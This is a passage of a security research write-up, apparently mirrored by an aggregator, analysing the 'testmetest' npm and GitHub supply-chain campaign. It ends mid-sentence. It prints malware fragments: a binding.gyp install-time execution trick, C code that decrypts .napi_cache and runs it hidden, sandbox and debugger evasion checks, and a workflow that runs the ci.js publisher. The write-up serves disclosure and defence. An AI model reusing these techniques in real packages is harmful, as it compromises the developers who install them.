Native addon camouflage: 42 armed GitHub repos reveal hidden NPM publisher
Guy Korolevski and Yair Benamou, JFrog Security Researchers | 26 Oct, 2026
以下正文同步自 Hacker News 最新,版权归原站所有,已转换为易读排版。
Guy Korolevski and Yair Benamou, JFrog Security Researchers | 26 Oct, 2026
JFrog Security Research has identified 42 armed third-party GitHub repositories across 11 legitimate owners connected to the testmetest npm campaign. The repositories contain execution hooks for AI coding assistants and IDEs, plus 12.9 to 13.7 MB polymorphic wrappers that all decode to the same hidden CI-publisher payload. The campaign’s attacker-owned repository also operates as an active encrypted data sink, receiving snapshot envelopes.
The campaign also shifted to a new camouflage: a compiled native addon that contains no payload of its own, and instead decrypts a file named .napi_cache at runtime to reveal the real one.
The investigation also uncovered account hijacks, forged commit timelines, short-lived publishing branches and exposed npm credentials. Shellpanel artifacts in the same hijacked owner cluster link this GitHub victim infrastructure to previously reported GitHub Actions exploitation of internet-facing cPanel systems.
During October 21 our scanners alerted us about shai-hulud packages found in the npm ecosystem. SafeDep's October 22 analysis first documented the npm/package side of this activity and decoded event-bus-lite-testmetest@0.0.1. SafeDep described the payload as Miasma-family while explicitly noting uncertainty about its lineage. We use "testmetest campaign" here because our evidence confirms shared tooling and a Shai-Hulud-descendant payload, but does not establish that the original Miasma operators are responsible.
At publication time, SafeDep reported that it had not confirmed compromised third-party packages or victims. Our complementary investigation of the campaign's GitHub infrastructure reaches a different conclusion: the operator had already armed real repositories belonging to established developers and organizations. The discrepancy was not merely a matter of timing. The payload blobs were large enough to evade the GitHub search and API paths normally used to find this kind of compromise.
The public npm page used an ordinary utility-library description while malicious versions delivered the testmetest payload.
The npm chain provides the link into the broader operation. Malicious testmetest releases used a binding.gyp command expansion to execute index.js during installation, even though the packages did not declare a conventional install script:
{ "targets": [{ "target_name": "nothing", "type": "none", "sources": ["<!(env node index.js >/dev/null 2>&1; echo stub.c)"] }] }
The loader applied a per-build Caesar transformation to a character-code array, decrypted an AES-128-GCM stage and located or downloaded Bun 1.2.18. Depending on the build, the decrypted payload was piped to bun run - or written to a temporary .b-* directory and removed after execution. The full npm payload collected credentials, poisoned repositories and CI configuration, and propagated through package registries.
One release, event-bus-lite-testmetest@0.0.2, was an unusual dual-stage carrier: it contained both the full credential-stealing worm and a separate CI-publisher-family payload.
The package inventory below reconciles SafeDep's list with our expanded analysis. The important connection is architectural: the same loader template, Bun bootstrap, obfuscation style and publishing logic appear in GitHub repositories. The GitHub side shows how the operator intended to turn stolen GitHub and npm access into malicious releases, and how real repositories were prepared to run that publisher.
The attacker-controlled *-testmetest GitHub repositories served as source or cover projects for matching npm packages. Malicious releases delivered the npm worm, which stole GitHub and npm credentials that could provide access to third-party repositories. Within hijacked repositories, the campaign left smoke-test placeholders or armed payloads. Decoding the armed ci.js files exposed publishers designed to run through GitHub Actions and use npm tokens or trusted publishing to produce further malicious testmetest releases, feeding package delivery back into repository compromise.
Shellpanel workflows targeting cPanel systems through CVE-2026-41940 also appeared in this same cluster of hijacked owners. Together, these artifacts establish operational linkage among the npm worm, repository publishers and shellpanel activity, but not one proven continuous execution chain from every npm infection to CVE exploitation.
Before the full package inventory, one change in delivery deserves its own explanation, because it changes how the packages in that inventory behave.
Later in the campaign, the operator stopped shipping a JavaScript loader at all. Three packages, @iobandamwer/cache-helper, @iobandamwer/native-helper and path-stream-utils-testmetest, carry a precompiled Node addon (addon.node, plus addon_win.node for Windows) and a one-line postinstall that calls it:
Anyone skimming the package sees a "temporary placeholder" and a harmless-looking native helper. The try/catch swallows every error, so even a failed run leaves no trace in the install log.
Next to the addon sits a dotfile called .napi_cache, which looks like a leftover build cache. When the addon runs, it finds its own folder by reading /proc/self/maps, opens .napi_cache from there and XORs every byte with 0x96. The result is a JavaScript file, which it drops in /tmp, locks down and runs with node in a detached process:
snprintf(path, sizeof path, "%s/.napi_cache", addon_dir); ... for (i = 0; i < size; i++) buf[i] ^= 0x96; // decrypt
if (fork() == 0) { setsid(); // detach from the install snprintf(tmp, sizeof tmp, "/tmp/.%u", getpid()); write_file(tmp, buf, size); chmod(tmp, 0600); execlp("node", "node", tmp, NULL); }
It only runs where nobody is watching
Before touching .napi_cache, the addon runs a long list of environment checks and quietly returns if any of them trips:
if (getenv("GITHUB_ACTIONS") || getenv("CI") || getenv("SANDBOX") /* ... */) return; if (mem_total_kb < 1536 * 1024 || cpu_count == 1) return; if (tracer_pid != 0) return;
The practical effect is that the payload fires on a real developer laptop or a regular server, and stays asleep inside the CI runners, containers and sandboxes that automated package scanners use. It also means this route is aimed at people, unlike the ci.js publisher below, which was built to run inside GitHub Actions.
A second function in the addon takes a simpler route. There is no .napi_cache and no decryption. It forks, detaches and runs a hard-coded command that pulls a loader from a repository on the operator's own GitHub account:
CementBeetleSteeple is the same account that hosts the ci.js publisher repositories described below, which ties this native-addon variant to the rest of the campaign.
The postinstall selects addon_win.node on Windows, and its payload function opens with the same gating logic, adapted to Windows APIs. It returns early, without running the payload, in any of these cases:
for (env = ci_vars; *env; env++) if (getenv(*env)) return 1; // CI / sandbox
if (!(GlobalMemoryStatusEx(&mem)) || mem.ullTotalPhys > 0x5fffffff) { GetSystemInfo(&si); if (si.dwNumberOfProcessors > 1 && !IsDebuggerPresent() && !(CheckRemoteDebuggerPresent(GetCurrentProcess(), &dbg), dbg)) { snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); for (ok = Process32First(snap, &pe); ok; ok = Process32Next(snap, &pe)) { lowercase(pe.szExeFile); if (strstr(pe.szExeFile, "wireshark") || strstr(pe.szExeFile, "procmon") || strstr(pe.szExeFile, "procexp") || strstr(pe.szExeFile, "x64dbg") || strstr(pe.szExeFile, "ollydbg") || strstr(pe.szExeFile, "fiddler") || strstr(pe.szExeFile, "httpdebug")) return 1; // analysis tool running } return 0; // clean: proceed } } return 1;
The Windows build adds checks the Linux build does not have. It looks for network sniffers (Wireshark, Fiddler, HTTP Debugger), process monitors (Process Monitor, Process Explorer) and user-mode debuggers (x64dbg, OllyDbg). These are the tools an analyst would use to watch the payload's behavior and traffic. Docker and /proc container checks do not apply on Windows, so they are absent.
The listing above is our reading of the decompiled gating function, where a return value of 1 means "bail out" and 0 means "proceed".
The exported init() function first calls the gate above and returns silently if it trips. If the gate passes, the loader follows the same steps as the Linux build, using Windows APIs:
napi_get_undefined(env, &result); if (main_func_payload()) return result; // gate from above
snprintf(cache, sizeof cache, "%s\.napi_cache", addon_dir); f = fopen(cache, "rb"); size = file_size(f); if (size < 1 || size > 0x1400000) return result; // 1 byte to 20 MB
fread(buf, 1, size, f); for (i = 0; i < size; i++) buf[i] ^= 0x96; // decrypt buf[size] = 0;
GetTempPathA(sizeof tmp, tmp); snprintf(js, sizeof js, "%s.nc%lu.js", tmp, GetCurrentProcessId()); write_file(js, buf, size); SetFileAttributesA(js, FILE_ATTRIBUTE_HIDDEN);
snprintf(cmd, sizeof cmd, "node "%s"", js); si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; CreateProcessA(NULL, cmd, NULL, NULL, FALSE, CREATE_NO_WINDOW | DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP, NULL, NULL, &si, &pi);
The decryption key and the .napi_cache format are identical to the Linux build, so the same encrypted file serves both platforms. Only the drop path differs: /tmp/.<pid> on Linux and %TEMP%.nc<PID>.js on Windows. We found no code in the loader that deletes the dropped file after launch, so it may remain in the temp directory. That makes it a useful host artifact for responders.
The package inventory below reconciles SafeDep's list with our expanded analysis, including stage-only names and benign expansion packages. As of October 26, the registry inventory spans 25 package names and 82 known version records.
The benign entries include campaign-associated stubs and decoys that do not execute malicious behavior. Listing a package in this campaign inventory does not make its benign releases malicious.
@iobandamwer/cache-helper, @iobandamwer/native-helper and path-stream-utils-testmetest are the native-addon carriers described in the previous section. Their malicious versions ship addon.node, addon_win.node and the encrypted .napi_cache file instead of a JavaScript loader.
Our analysis confirmed that byte-stride-testmetest, color-utils-testmetest and stream-utils-testmetest are benign cover packages. test-brotli3-testmetest contains only the benign 0.0.0-stage release and has no candidate payload-bearing versions. event-emitter-testmetest@1.0.6, 3.0.0 and 3.0.1 are classified malicious at the campaign level even though the recovered samples were dormant or inert; the table preserves that verdict while the technical analysis describes the observed execution behavior.
The account CementBeetleSteeple hosted 17 campaign repositories. Several looked like normal source repositories on their default branches, but short-lived branches named chore/ci-<hex> carried a root-level ci.js and an Actions workflow. We recovered 68 pushed branch heads and 16 distinct polymorphic ci.js wrapper builds. The same build was often reused across repositories pushed within the same minute.
A recovered chore/ci- branch exposed the publisher payload separately from the clean-looking default branch.*
The workflow supplied a three-variable contract that bound the payload to a target package, workflow and repository:
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
- uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6
- run: bun run ci.js env: TARGET_PACKAGES: "data-pipeline-testmetest" WORKFLOW_ID: "publish.yml" REPO_ID_SUFFIX: "CementBeetleSteeple/data-pipeline-testmetest"
After decoding, the publisher's second stage me
正文由 探How 从来源站点 RSS 同步,内容未经改写;遇到排版缺失或需要图片、视频时请以原文为准。